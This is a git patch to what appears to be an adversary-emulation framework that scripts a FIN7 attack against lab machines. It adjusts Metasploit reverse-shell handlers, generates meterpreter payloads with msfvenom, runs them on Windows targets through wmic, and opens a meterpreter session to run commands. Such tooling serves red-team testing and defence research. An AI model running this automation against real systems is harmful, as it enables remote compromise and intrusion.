From 5eeaa02b4d6969d0470e72c84962b485a76367b2 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Mon, 6 Sep 2021 14:45:28 +0200 Subject: [PATCH] More reliable metasploit --- app/experimentcontrol.py | 1 + app/metasploit.py | 23 ++++++++---- doc_generator.py | 2 +- .../FIN7/fin7_section1.py | 37 ++++++++++++------- 4 files changed, 40 insertions(+), 23 deletions(-) diff --git a/app/experimentcontrol.py b/app/experimentcontrol.py index 9f5c161..1b09b75 100644 --- a/app/experimentcontrol.py +++ b/app/experimentcontrol.py @@ -91,6 +91,7 @@ class Experiment(): target_1.start_caldera_client() self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Initial start of caldera client: {tname} {CommandlineColors.ENDC}", 1) time.sleep(20) # Wait for all the clients to contact the caldera server + # TODO: Smarter wait self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Contacting caldera agents on all targets ....{CommandlineColors.ENDC}", 1) # Wait until all targets are registered as Caldera targets diff --git a/app/metasploit.py b/app/metasploit.py index 180dd26..b09b63a 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -43,19 +43,25 @@ class Metasploit(): kwargs["server"] = self.attacker.get_ip() time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client. - def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'): + def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler', lhost=None): """ Start a metasploit handler and wait for external payload to connect + @param payload: The payload being used in the implant + @param exploit: Normally the generic handler. Overwrite it if you feel lucky + @param lhost: the ip of the attack host. Use this to use the attacker ip as seen from the controller. @:returns: res, which contains "job_id" and "uuid" """ - exploit = self.get_client().modules.use('exploit', exploit) + exp = self.get_client().modules.use('exploit', exploit) # print(exploit.description) # print(exploit.missing_required) - payload = self.get_client().modules.use('payload', payload) + pl = self.get_client().modules.use('payload', payload) # print(payload.description) # print(payload.missing_required) - payload["LHOST"] = self.attacker.get_ip() - res = exploit.execute(payload=payload) + if lhost is None: + lhost = self.attacker.get_ip() + pl["LHOST"] = lhost + print(f"Creating stub for external payload Exploit: {exploit} Payload: {payload}, lhost: {lhost}") + res = exp.execute(payload=pl) print(res) return res @@ -104,7 +110,7 @@ class Metasploit(): while self.get_client().sessions.list == {}: time.sleep(1) - print(f"Waiting to get any session {retries}") + print(f"Metasploit waiting to get any session {retries}") retries -= 1 if retries <= 0: raise MetasploitError("Can not find any session") @@ -276,6 +282,7 @@ class MSFVenom(): cmd += f" -e {encoder}" if iterations is not None: cmd += f" -i {iterations}" + cmd += " SessionRetryWait=1 " # Detecting all the mistakes that already have been made. To be continued # Check if encoder supports the architecture @@ -294,6 +301,7 @@ class MSFVenom(): # Footnote: Currently we only support windows/linux and the "boring" payloads. This will be more tricky as soon as we get creative here + print(cmd) self.attacker.remote_run(cmd) def generate_and_deploy(self, **kwargs): @@ -327,8 +335,7 @@ class MSFVenom(): cmd = "" cmd += f"chmod +x {payload_name}; ./{payload_name}" if self.target.get_os() == "windows": - cmd = f'{payload_name}' - + cmd = f'wmic process call create "%homepath%\\{payload_name}",""' print(cmd) if self.attack_logger: diff --git a/doc_generator.py b/doc_generator.py index fa5f76b..5660193 100755 --- a/doc_generator.py +++ b/doc_generator.py @@ -31,7 +31,7 @@ if __name__ == "__main__": # generate("loot/2021_07_19___16_28_45/attack.json", "tools/human_readable_documentation/contents.rst") # Working example for a short run # generate("loot/2021_07_20___08_26_33/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #1 # generate("loot/2021_07_20___10_07_36/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #2 The one Fabrizio got - #generate("loot/2021_07_28___12_09_00/attack.json", + # generate("loot/2021_07_28___12_09_00/attack.json", # "tools/human_readable_documentation/contents.rst") # FIN 7 The last minute locally generated thing generate("loot/2021_08_30___14_40_23/attack.json", diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 487f9a2..1332989 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # Adversary emulation for FIN7 +import socket from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors @@ -27,13 +28,17 @@ class FIN7Plugin(AttackPlugin): self.plugin_path = __file__ self.metasploit_1 = None - def get_metasploit_1(self): - """ Returns a metasploit with a session for the first targeted machine """ + def get_metasploit_1(self, payload): + """ Returns a metasploit with a session for the first targeted machine + + @param payload: payload description. waiting for this payload. Like "windows/x64/meterpreter/reverse_https" + """ if self.metasploit_1: return self.metasploit_1 self.metasploit_1 = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) - self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) + ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip()) + self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1, lhost=ip) self.metasploit_1.wait_for_session() return self.metasploit_1 @@ -179,7 +184,6 @@ In this simulation sql-rat.js communication will be replaced by Caldera communic # Generate shellcode # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 EXITFUNC=thread -f C --encrypt xor --encrypt-key m - dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step4/babymetal/babymetal.cpp" architecture = "x64" target_platform = "windows" @@ -238,7 +242,7 @@ In this simulation sql-rat.js communication will be replaced by Caldera communic # base64 conversion self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_4; base64 babymetal.bin > {encoded_filename}") - self.attack_logger.stop_build(logid = logid) + self.attack_logger.stop_build(logid=logid) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}Step 4 compiling tools{CommandlineColors.ENDC}", 1) @@ -271,8 +275,10 @@ In the original attack Babymetal payload is a dll. Currently we are using a simp # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. + payload = self.payload_type_1 + venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) - venom.generate_and_deploy(payload=self.payload_type_1, + venom.generate_and_deploy(payload=payload, architecture="x64", platform="windows", lhost=self.attacker_machine_plugin.get_ip(), @@ -288,9 +294,10 @@ In the original attack Babymetal payload is a dll. Currently we are using a simp # TODO: invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/ # https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step4/babymetal/Invoke-Shellcode.ps1 - # metasploit1 = self.get_metasploit_1() - # print("Got session, calling command") - # print(metasploit.meterpreter_execute_on(["getuid"], hotelmanager)) + metasploit1 = self.get_metasploit_1(payload) + print("Got session, calling command") + print(metasploit1.meterpreter_execute_on(["getuid"], hotelmanager)) + print("Should have called session now") self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) @@ -303,8 +310,10 @@ In the original attack Babymetal payload is a dll. Currently we are using a simp hotelmanager = self.get_target_by_name("hotelmanager") + payload = self.payload_type_1 + # This is meterpreter ! - metasploit = self.get_metasploit_1() + metasploit = self.get_metasploit_1(payload) # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) @@ -622,7 +631,7 @@ NOT IMPLEMENTED YET. MAYBE DO THIS PARTIAL. KEYLOGGING NEEDS USER INTERACTION. lport=lport, filename=filename, for_step=for_step, - sRDI_conversion= sRDI_conversion, + sRDI_conversion=sRDI_conversion, encoded_filename=encoded_filename, comment="And SRDI converted Meterpreter shell. Will be stored in the registry.") @@ -730,11 +739,11 @@ NOT IMPLEMENTED YET filename = "AccountingIQ.exe" dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c" - logid = self.attack_logger.start_build( - filename=filename, + logid = self.attack_logger.start_build(filename=filename, for_step=10, dl_uri=dl_uri, - comment="This is a simulated credit card tool to target. The final flag is in here.") + comment="This is a simulated credit card tool to target. The final flag is in here." + ) # simulated credit card tool as target self.attacker_machine_plugin.remote_run("mkdir tool_factory/step_10") # MSFVenom needs to be installed self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_10; rm {filename}")